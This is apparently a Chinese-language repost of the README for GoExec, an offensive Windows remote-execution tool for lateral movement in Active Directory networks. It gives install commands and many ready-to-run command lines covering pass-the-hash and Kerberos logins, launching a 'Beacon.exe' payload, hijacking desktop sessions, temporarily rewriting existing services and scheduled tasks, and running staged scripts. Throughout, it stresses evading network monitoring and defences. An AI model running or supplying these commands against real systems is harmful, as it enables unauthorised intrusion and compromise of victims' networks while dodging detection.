目录导航
GoExec 是对一些用于在 Windows 设备上进行远程执行的方法的全新演绎。GoExec 实现了许多尚未实现的执行方法,并总体上显著提升了 OPSEC 性能。
介绍
在 Windows 设备上生成远程进程已成为 Active Directory 网络及其他网络横向移动的常见做法。了解实现远程执行的几种方法对于黑客和系统管理员来说都至关重要。在本文中,我们将介绍我们的新项目goexec,它是一种改进的替代方案,可以替代许多用于相同目的的现有工具。

为什么选择 Goexec?
Goexec 对业界常用的现有解决方案(如 Impacket 远程执行脚本(atexec.py
, dcomexec.py
, psexec.py
, smbexec.py
, and wmiexec.py
).)进行了大量的补充和改进
- OPSEC 优先现有工具(尤其是 Impacket 脚本)的主要问题之一是缺乏对 OPSEC 的考量。Goexec 的设计目标是默认为 每个操作使用最佳的 OPSEC 措施,同时仍然提供执行不安全操作(例如获取程序输出)的可选功能。
- 附加方法 Goexec 提供了一些与其他工具截然不同的附加方法。例如,诸如
tsch change
或 之类的方法scmr change
会编辑现有资源,而不是创建新资源。此类方法旨在改进 OPSEC 并潜在地规避防御。 - 可调整 CLI 的设计旨在为每种执行方法提供尽可能多的相关选项。这使得操作员能够根据其环境轻松调整操作。
- 本机代理支持
--proxy
Goexec 使用/标志 支持 SOCKS5 代理-x
,而无需像proxychains这样的外部软件。 - 动态传输 Goexec 允许操作员使用一系列标志配置 MSRPC 连接参数、传输和端点。此功能可能有助于操作员绕过端口限制或逃避网络监控。
- 丰富的日志记录Impacket 库及其依赖脚本缺乏完善的调试日志记录功能,这给故障排除和开发带来了极大的不便。Goexec 在go-msprc 的帮助下,通过快速的zerolog模块提供了丰富的日志记录功能。
在初始版本中,Goexec支持在 Windows 设备上获取远程执行的四种主要方法,所有这些方法都涉及使用远程过程调用 (RPC)与以下服务进行通信:
安装
使用 Go 构建和安装
要从源代码构建此项目,您需要 Go 1.23.* 或更高版本以及 64 位目标架构。有关管理 Go 安装的更多信息,请参阅此处
# Install goexec go install -ldflags="-s -w" github.com/FalconOpsLLC/goexec@latest
手动安装
对于预发布功能,请获取最新提交并手动构建。
# (Linux) Install GoExec manually from source # Fetch source git clone https://github.com/FalconOpsLLC/goexec cd goexec # Build goexec (Go >= 1.23) CGO_ENABLED=0 go build -ldflags="-s -w" # (Optional) Install goexec to /usr/local/bin/goexec sudo install ./goexec /usr/local/bin
使用 Docker 安装
我们提供了一个 Dockerfile 来在 Docker 容器内构建和运行 GoExec。
# (Linux) Install GoExec Docker image # Fetch source git clone https://github.com/FalconOpsLLC/goexec cd goexec # Build goexec image docker build . --tag goexec --network host # Run goexec via Docker container alias goexec='docker run -it --rm --name goexec goexec' goexec -h # display help menu
从发布版本安装
您还可以下载适用于 64 位 Windows、macOS 或 Linux 的最新版本。
用法
wmi
GoExec 由用于每个远程服务的模块(即、scmr
等)以及每个模块内的特定方法(即wmi proc
、scmr change
等)组成。
用法:
goexec [命令] [选项]
执行命令:
dcom 使用分布式组件对象模型 (MS-DCOM) 执行
wmi 使用 Windows 管理规范 (MS-WMI) 执行
scmr 使用服务控制管理器远程协议 (MS-SCMR) 执行
tsch 使用 Windows 任务计划程序 (MS-TSCH) 执行
附加命令:
help 显示任意命令的帮助信息
completion 为指定的 shell 生成自动补全脚本
日志记录:
-D, --debug 启用调试日志
-O, --log-file 文件 将 JSON 日志输出写入文件
-j, --json 以 JSON 行格式输出日志
-q, --quiet 禁用信息日志
身份认证:
-u, --user user@domain 用户名('user@domain'、'domain\user'、'domain/user' 或 'user')
-p, --password 字符串 密码
-H, --nt-hash 哈希值 NT 哈希('NT'、':NT' 或 'LM:NT')
--aes-key 十六进制密钥 Kerberos AES 十六进制密钥
--pfx 文件 客户端证书和私钥的 PFX 文件
--pfx-password 字符串 PFX 文件的密码
--ccache 文件 Kerberos CCache 文件名(默认为 $KRB5CCNAME,当前未设置)
--dc 字符串 域控制器
-k, --kerberos 使用 Kerberos 身份验证
使用 "goexec [命令] --help" 获取有关某个命令的更多信息。
获取远程进程输出
虽然出于 OPSEC 方面的考虑,我们不建议在实时交战或受监控环境中使用此功能,但我们提供了可选功能,可以使用该-o
标志通过 SMB 文件传输获取程序输出。使用此标志会将提供的命令包装在一个随机 GUID 中cmd.exe /c ... > \Windows\Temp\RANDOM
,RANDOM
然后通过 SMB 文件传输获取输出文件。
WMI 模块(wmi
)
该wmi
模块使用远程 Windows 管理规范 (WMI) 来生成进程 ( wmi proc
),或手动调用方法 ( wmi call
)。
用法:
goexec wmi [命令] [选项]
可用命令:
proc 启动一个 Windows 进程
call 执行指定的 WMI 方法
... [继承的选项] ...
网络:
-x, --proxy URI 代理 URI
-F, --epm-filter 字符串 用于过滤 RPC 端点映射器(EPM)返回端点的绑定字符串
--endpoint 字符串 明确指定 RPC 端点
--no-epm 不使用 EPM 自动检测 RPC 端点
--no-sign 禁用 DCERPC 消息的签名
--no-seal 禁用 DCERPC 消息的数据加密(封包加密)
进程创建方法(wmi proc
)
该proc
方法创建Win32_Process
WMI 类的一个实例,然后调用该Create
方法使用提供的参数生成一个进程。
用法:
goexec wmi proc [目标] [选项]
执行:
-e, --exec 字符串 要在远程 Windows 上调用的可执行文件
-a, --args 字符串 进程命令行参数
-c, --command 字符串 Windows 进程命令行(可执行文件和参数)
-o, --out 字符串 获取执行输出到文件,或使用 "-" 输出到标准输出
-m, --out-method 字符串 获取执行输出的方法(默认值为 "smb")
--no-delete-out 保留远程文件系统上的输出文件
-d, --directory 字符串 工作目录(默认值为 "C:\\")
... [继承的选项] ...
示例
# Run an executable without arguments ./goexec wmi proc "$target" \ -u "$auth_user" \ -p "$auth_pass" \ -e 'C:\Windows\Temp\Beacon.exe' \ # Authenticate with NT hash, fetch output from `cmd.exe /c whoami /all` ./goexec wmi proc "$target" \ -u "$auth_user" \ -H "$auth_nt" \ -e 'cmd.exe' \ -a '/C whoami /all' \ -o- # Fetch output to STDOUT
(辅助)调用方法(wmi call
)
该call
方法使操作员能够完全控制 WMI 方法调用。您可以使用 PowerShell 的 列出 Windows 上可用的类和方法Get-CimClass
。
用法:
goexec wmi call [目标] [选项]
WMI:
-n, --namespace 字符串 WMI 命名空间(默认值为 "//./root/cimv2")
-C, --class 字符串 要实例化的 WMI 类(例如 "Win32_Process")
-m, --method 字符串 要调用的 WMI 方法(例如 "Create")
-A, --args 字符串 WMI 方法参数,使用 JSON 字典格式(例如 {"Command":"calc.exe"})(默认值 "{}")
... [继承的选项] ...
示例
# Call StdRegProv.EnumKey - enumerate registry subkeys of HKLM\SYSTEM ./goexec wmi call "$target" \ -u "$auth_user" \ -p "$auth_pass" \ -C 'StdRegProv' \ -m 'EnumKey' \ -A '{"sSubKeyName":"SYSTEM"}'
DCOM模块(dcom
)
该dcom
模块使用公开的分布式组件对象模型 (DCOM) 对象来生成进程。
警告
DCOM 模块通常不如其他模块可靠,因为底层方法通常依赖于目标 Windows 版本和特定的 Windows 设置。
用法:
goexec dcom [命令] [选项]
可用命令:
mmc 使用 MMC20.Application DCOM 对象执行
shellwindows 使用 ShellWindows DCOM 对象执行
shellbrowserwindow 使用 ShellBrowserWindow DCOM 对象执行
... [继承的选项] ...
网络:
-x, --proxy URI 代理 URI
-F, --epm-filter 字符串 用于过滤 RPC 端点映射器(EPM)返回端点的绑定字符串
--endpoint 字符串 明确指定 RPC 端点
--no-epm 不使用 EPM 自动检测 RPC 端点
--no-sign 禁用 DCERPC 消息的签名
--no-seal 禁用 DCERPC 消息的数据加密(封包加密)
MMC20.Application
方法 (dcom mmc
)
该mmc
方法使用公开的MMC20.Application
对象来调用Document.ActiveView.ShellExec
,并最终在远程主机上生成一个进程。
用法:
goexec dcom mmc [目标] [选项]
执行:
-e, --exec 字符串 要在远程 Windows 上调用的可执行文件
-a, --args 字符串 进程命令行参数
-c, --command 字符串 Windows 进程命令行(可执行文件和参数)
-o, --out 字符串 获取执行输出到文件,或使用 "-" 输出到标准输出
-m, --out-method 字符串 获取执行输出的方法(默认值为 "smb")
--no-delete-out 保留远程文件系统上的输出文件
--directory 目录 工作目录(默认值为 "C:\\")
--window 字符串 窗口状态(默认值为 "Minimized")
... [继承的选项] ...
示例
# Authenticate with NT hash, fetch output from `cmd.exe /c whoami /priv` to file ./goexec dcom mmc "$target" \ -u "$auth_user" \ -H "$auth_nt" \ -e 'cmd.exe' \ -a '/c whoami /priv' \ -o ./privs.bin # Save output to ./privs.bin
ShellWindows
方法 (dcom shellwindows
)
该shellwindows
方法使用ShellWindows DCOM 对象来调用并生成远程进程。由于以下几个原因,Item().Document.Application.ShellExecute
此执行方法不如该方法稳定:dcom mmc
- 此方法可能不适用于最新的 Windows 版本
- 它可能要求目标机器上有一个活动的桌面会话。
- 成功执行可能是代表桌面用户,不一定是管理员。
用法:
goexec dcom shellwindows [目标] [选项]
执行:
-e, --exec 字符串 要在远程 Windows 上调用的可执行文件
-a, --args 字符串 进程命令行参数
-c, --command 字符串 Windows 进程命令行(可执行文件和参数)
-o, --out 字符串 获取执行输出到文件,或使用 "-" 输出到标准输出
-m, --out-method 字符串 获取执行输出的方法(默认值为 "smb")
--no-delete-out 保留远程文件系统上的输出文件
--directory 目录 工作目录(默认值为 "C:\\")
--app-window ID 应用窗口状态 ID(默认值为 "0")
... [继承的选项] ...
应用程序窗口参数 ( --app-window
) 必须是此处描述的值之一(vShow
参数 )。
示例
# Authenticate with local admin NT hash, execute `netstat.exe -anop tcp` w/ output ./goexec dcom shellwindows "$target" \ -u "$auth_user" \ -H "$auth_nt" \ -e 'netstat.exe' \ -a '-anop tcp' \ -o- # write to standard output # Authenticate with local admin password, open maximized notepad window on desktop ./goexec dcom shellwindows "$target" \ -u "$auth_user" \ -p "$auth_pass" \ -e 'notepad.exe' \ --directory 'C:\Windows' \ --app-window 3 # Maximized
ShellBrowserWindow
方法 (dcom shellbrowserwindow
)
该shellbrowserwindow
方法使用公开的ShellBrowserWindow DCOM 对象来调用并生成提供的进程。此方法的潜在约束与ShellWindows 方法Document.Application.ShellExecute
类似。
用法:
goexec dcom shellbrowserwindow [目标] [选项]
执行:
-e, --exec 字符串 要在远程 Windows 上调用的可执行文件
-a, --args 字符串 进程命令行参数
-c, --command 字符串 Windows 进程命令行(可执行文件和参数)
-o, --out 字符串 获取执行输出到文件,或使用 "-" 输出到标准输出
-m, --out-method 字符串 获取执行输出的方法(默认值为 "smb")
--no-delete-out 保留远程文件系统上的输出文件
--directory 目录 工作目录(默认值为 "C:\\")
--app-window ID 应用窗口状态 ID(默认值为 "0")
... [继承的选项] ...
示例
# Authenticate with NT hash, open explorer.exe maximized ./goexec dcom shellbrowserwindow "$target" \ -u "$auth_user@$domain" \ -H "$auth_nt" \ -e 'explorer.exe' \ --app-window 3
任务计划程序模块(tsch
)
该tsch
模块利用 Windows 任务计划程序服务(MS-TSCH)在远程目标上生成进程。
用法:
goexec tsch [命令] [选项]
可用命令:
demand 注册一个远程计划任务并立即启动
create 创建一个具有自动启动时间的远程计划任务
change 修改现有任务以启动任意进程
... [继承的选项] ...
网络:
-x, --proxy URI 代理 URI
-F, --epm-filter 字符串 用于过滤 RPC 端点映射器(EPM)返回的端点的绑定字符串
--endpoint 字符串 明确指定 RPC 端点
--no-epm 不使用 EPM 自动检测 RPC 端点
--no-sign 禁用 DCERPC 消息的签名
--no-seal 禁用 DCERPC 消息的数据加密
创建计划任务(tsch create
)
该方法使用SchRpcRegisterTaskcreate
注册一个计划任务,通过TimeTrigger设置自动启动时间,并使用DeleteExpiredTaskAfter设置可选的自动删除功能。
用法:
goexec tsch create [目标] [参数]
任务计划程序:
-t, --task string 新任务的名称或路径
--delay-stop duration 任务执行与终止之间的延迟。此操作不会停止已生成的进程(默认 5s)
--start-delay duration 任务注册与执行之间的延迟(默认 5s)
--no-delete 执行后不删除任务
--call-delete 直接调用 SchRpcDelete 删除任务
--sid SID 用于模拟的用户 SID(默认 "S-1-5-18")
执行:
-e, --exec string 要调用的远程 Windows 可执行文件
-a, --args string 进程命令行参数
-c, --command string Windows 进程命令行(可执行文件及参数)
-o, --out string 将执行输出保存到文件,或 "-" 表示标准输出
-m, --out-method string 获取执行输出的方法(默认 "smb")
--no-delete-out 保留远程文件系统上的输出文件
... [继承的参数] ...
示例
# Authenticate with NT hash via Kerberos, register task at \Microsoft\Windows\GoExec, execute `C:\Windows\Temp\Beacon.exe` ./goexec tsch create "$target" \ --user "${auth_user}@${domain}" \ --nt-hash "$auth_nt" \ --dc "$dc_ip" \ --kerberos \ --task '\Microsoft\Windows\GoExec' \ --exec 'C:\Windows\Temp\Beacon.exe'
创建计划任务和需求启动(tsch demand
)
与方法类似create
,该demand
方法也会调用SchRpcRegisterTask
,但它不会设置任务启动的具体时间,而是会额外调用SchRpcRun
以强制启动任务。此方法还可以通过提供会话 ID 来劫持桌面会话--session
。
用法:
goexec tsch demand [目标] [参数]
任务计划程序:
-t, --task string 新任务的名称或路径
--session uint32 劫持指定会话ID的现有会话
--sid string 用于模拟的用户SID(默认"S-1-5-18")
--no-delete 执行后不删除任务
执行:
-e, --exec string 要调用的远程Windows可执行文件
-a, --args string 进程命令行参数
-c, --command string Windows进程命令行(可执行文件及参数)
-o, --out string 将执行输出保存到文件,或"-"表示标准输出
-m, --out-method string 获取执行输出的方法(默认"smb")
--no-delete-out 保留远程文件系统上的输出文件
... [继承的参数] ...
示例
# Use random task name, execute `notepad.exe` on desktop session 1 ./goexec tsch demand "$target" \ --user "$auth_user" \ --password "$auth_pass" \ --exec 'notepad.exe' \ --session 1 # Authenticate with NT hash via Kerberos, # register task at \Microsoft\Windows\GoExec (will be deleted), # execute `C:\Windows\System32\cmd.exe /c set` with output ./goexec tsch demand "$target" \ --user "${auth_user}@${domain}" \ --nt-hash "$auth_nt" \ --dc "$dc_ip" \ --kerberos \ --task '\Microsoft\Windows\GoExec' \ --exec 'C:\Windows\System32\cmd.exe' \ --args '/c set' \ --out -
修改计划任务定义(tsch change
)
该change
方法调用SchRpcRetrieveTask
以获取现有任务的定义(-t
/ --task
),然后修改任务定义以生成进程,然后再恢复原始任务。
用法:
goexec tsch change [目标] [参数]
任务计划程序:
-t, --task string 现有任务的路径
--no-start 不启动任务
--no-revert 不恢复原始任务定义
执行:
-e, --exec string 要调用的远程Windows可执行文件
-a, --args string 进程命令行参数
-c, --command string Windows进程命令行(可执行文件及参数)
-o, --out string 将执行输出保存到文件,或"-"表示标准输出
-m, --out-method string 获取执行输出的方法(默认"smb")
--no-delete-out 保留远程文件系统上的输出文件
... [继承的参数] ...
示例
# Enable debug logging, Modify "\Microsoft\Windows\UPnP\UPnPHostConfig" to run `cmd.exe /c whoami /all` with output ./goexec tsch change $target --debug \ -u "${auth_user}" \ -p "${auth_pass}" \ -t '\Microsoft\Windows\UPnP\UPnPHostConfig' \ -e 'cmd.exe' \ -a '/C whoami /all' \ -o >(tr -d '\r') # Send output to another program (zsh/bash)
SCMR模块(scmr
)
SCMR 模块的工作原理与 非常相似smbexec.py
,但它提供了额外的 RPC 传输来逃避网络监控或防火墙规则,并且在整体上进行了一些小的 OPSEC 改进。
警告
该scmr
模块目前无法获取进程输出。此功能将在未来的版本中添加。
用法:
goexec scmr [命令] [参数]
可用命令:
create 通过创建并运行Windows服务来生成远程进程
change 修改现有Windows服务以生成任意进程
delete 删除现有Windows服务
... [继承参数] ...
网络设置:
-x, --proxy URI 代理URI
-F, --epm-filter string 用于过滤RPC端点映射器(EPM)返回端点的字符串绑定
--endpoint string 显式定义RPC端点
--no-epm 不使用EPM自动检测RPC端点
--no-sign 禁用DCERPC消息签名
--no-seal 禁用DCERPC消息包存根加密
创建服务(scmr create
)
该create
方法用于通过创建 Windows 服务来生成进程。此方法需要远程可执行文件的完整路径(C:\Windows\System32\calc.exe
例如
用法:
goexec scmr change [目标] [参数]
服务控制:
-s, --service-name string 要修改的服务名称
--no-start 不启动服务
执行参数:
-f, --executable-path string 远程Windows可执行文件的完整路径
-a, --args string 传递给可执行文件的参数
示例
# Use MSRPC instead of SMB, use custom service name, execute `cmd.exe` ./goexec scmr create "$target" \ -u "${auth_user}@${domain}" \ -p "$auth_pass" \ -f 'C:\Windows\System32\cmd.exe' \ -F 'ncacn_ip_tcp:' # Directly dial svcctl named pipe ("ncacn_np:[svcctl]"), # use random service name, # execute `C:\Windows\System32\calc.exe` ./goexec scmr create "$target" \ -u "${auth_user}@${domain}" \ -p "$auth_pass" \ -f 'C:\Windows\System32\calc.exe' \ --endpoint 'ncacn_np:[svcctl]' --no-epm
修改服务(scmr change
)
SCMR 模块的change
方法通过使用 RChangeServiceConfigW 方法修改现有的 Windows 服务来执行程序,而不是像 那样调用 RCreateServiceW scmr create
。修改的服务在执行后会恢复到原始状态。
警告
在重要的 Windows 服务上使用此模块可能会导致操作系统崩溃。请尝试使用不太重要的服务,例如PlugPlay
。
用法:
goexec scmr change [目标主机] [参数选项]
服务控制选项:
-s, --service-name string 指定要修改的服务名称
--no-start 修改后不自动启动服务
执行控制选项:
-f, --executable-path string 指定远程Windows可执行文件的完整路径
-a, --args string 设置要传递给可执行文件的命令行参数
示例
# Used named pipe transport, Modify the PlugPlay service to execute `C:\Windows\System32\cmd.exe /c C:\Windows\Temp\stage.bat` ./goexec scmr change $target \ -u "$auth_user" \ -p "$auth_pass" \ -F "ncacn_np:" \ -s PlugPlay \ -f 'C:\Windows\System32\cmd.exe' \ -a '/c C:\Windows\Temp\stage.bat'
(辅助)删除服务
SCMR 模块的辅助delete
方法将简单地删除所提供的服务。
用法:
goexec scmr delete [目标主机] [参数选项]
服务控制选项:
-s, --service-name string 指定要删除的服务名称
致谢
- @oiweiwei为精彩的go-msrpc模块
- @RedTeamPentesting和Erik Geiser用于adauth模块
- Impacket的开发者和贡献者提供的灵感和技术参考
下载地址
https://github.com/FalconOpsLLC/goexec/releases
项目地址
https://github.com/FalconOpsLLC/goexec
转载请注明出处及链接